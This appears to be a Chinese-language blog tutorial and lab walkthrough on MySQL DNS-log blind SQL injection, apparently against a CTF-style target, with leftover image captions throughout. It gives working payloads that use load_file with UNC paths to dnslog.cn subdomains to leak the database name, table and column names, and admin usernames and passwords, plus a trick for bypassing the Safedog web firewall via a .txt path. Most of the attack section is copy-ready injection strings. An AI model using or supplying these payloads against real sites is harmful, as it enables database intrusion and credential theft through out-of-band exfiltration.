DNS log 【DNS日志注入】
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求

DNS注入的核心,将盲注转化为显错注入

mysql dns格式 mysql dns注入_Mysql——DNS注入


DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求

比如 ox.qidao.com => DNS记录了这个请求,

那么我们也可以让mysql也能发出请求,DNS也会记录

mysql dns格式 mysql dns注入_bc_02


mysql dns格式 mysql dns注入_Mysql——DNS注入_03

select load_file(’//error.1806d1.dnslog.cn/abc’);

// 网上邻居的协议(也就是UNC协议)

error 没有实际意义,占位符而已

1806d1.dnslog.cn dns服务器名字

abc 没有实际意义,一个目录而已

mysql dns格式 mysql dns注入_bc_04

前面我们已经说了,是用dns来把解析的数据,回显给我们。
这里就跟关键了,我们要么自己去搭建一台dns服务器,要么滑稽。
这里介绍一个网站。

dnslog.cn

1.获取一个dns服务器
2.得到的一个随机dns服务器。

mysql dns格式 mysql dns注入_bc_05

既然得到之后,我们就来用这个DNS服务器来获取一下域名解析的数据
1.复制刚刚得到的dns服务器。前面跟你想要解析的东西,这里我就写的yq
没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名

mysql dns格式 mysql dns注入_bc_06


点击refresh 就可以得到解析的数据,前面的yq也得到了回显,这里我就写的yq

没有什么特别的意思,得到的回显也是yq,但是把yq换成 database() 那么就会回显使用的数据库名

这里解答一下为什么是三级域名,因为二级域名就是不是给你用的,懂?

mysql dns格式 mysql dns注入_Mysql——DNS注入_07


实战得出当前使用数据库为:web

select load_file(concat('//',(select database() limit 0,1),'.81k8pu.dnslog.cn/abc'));

mysql dns格式 mysql dns注入_Mysql——DNS注入_08


mysql dns格式 mysql dns注入_bc_09

select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.81k8pu.dnslog.cn/abc'));

mysql dns格式 mysql dns注入_mysql dns格式_10


实战得出当前使用数据表为:post

mysql dns格式 mysql dns注入_Mysql——DNS注入_11


mysql dns格式 mysql dns注入_bc_12


mysql dns格式 mysql dns注入_Mysql——DNS注入_13


mysql dns格式 mysql dns注入_DNS_14


mysql dns格式 mysql dns注入_Mysql——DNS注入_15


我们直接访问txt格式的文件,就跳过了安全狗,

就访问到了php格式的文件。

mysql dns格式 mysql dns注入_mysql dns格式_16

那么现在就来实战一下

先提醒一下,前面的测试是在本机上测试的,所以是 select 开头,
但是实战这已经有select开头了,我们就不要自己加了

txt的名字和传参的id随便写,没有影响,这里我写的123.txt和id=123

/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.mvd7wy.dnslog.cn/abc')) -- qwe

可以看到访问正常,说明跳过了安全狗

mysql dns格式 mysql dns注入_字段_17


跳过了安全狗后,我们再来看一下是否dns反弹成功。反弹出了数据库名。

mysql dns格式 mysql dns注入_DNS_18


接下来就是和显错注入一样的思路,再结合一点dns反弹就行了。

1.回显数据库

这里特别要注意一点的是,一个dns服务器如果已经记录了一个东西,你在去执行相同的东西,这个已经被记录的东西就不会再显示了,如果遇到这种情况,就马上获取一个新的dns服务器。

/123.txt?id=123 and load_file(concat('//',(select database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_字段_19


mysql dns格式 mysql dns注入_mysql dns格式_20

2.回显数据表

/123.txt?id=123 and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_字段_21

mysql dns格式 mysql dns注入_DNS_22


楼主本来还想用这条加了group_concat(table_name)这个语句的,但是不行,不知道是因为像上面说的,已经记录了,还是不能在一行输出。

3.回显字段

因为很显然,我们拿到了admin表,那就意味着,这里面有管理员的账号密码,这正是我们想要的,所以我们就用这张表,这里暂且理解为不能用group_concat函数一行输出,那我们就用limit函数

回显第一个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

注入图我就不截图了,直接上回显图

mysql dns格式 mysql dns注入_mysql dns格式_23

回显第二个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_mysql dns格式_24

回显第3个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_mysql dns格式_25

回显第3个字段,失败,说明admin表就3个字段

/123.txt?id=123 and load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 3,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_mysql dns格式_26

3.回显字段值

这里非常明显了,username和password,就表明是账号密码

那我们就来回显试试

/123.txt?id=123 and load_file(concat('//',(select username from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_DNS_27

/123.txt?id=123 and load_file(concat('//',(select password from admin limit 0,1),'.48tret.dnslog.cn/abc')) -- qwe

mysql dns格式 mysql dns注入_字段_28


最后得到flag:1flag1good1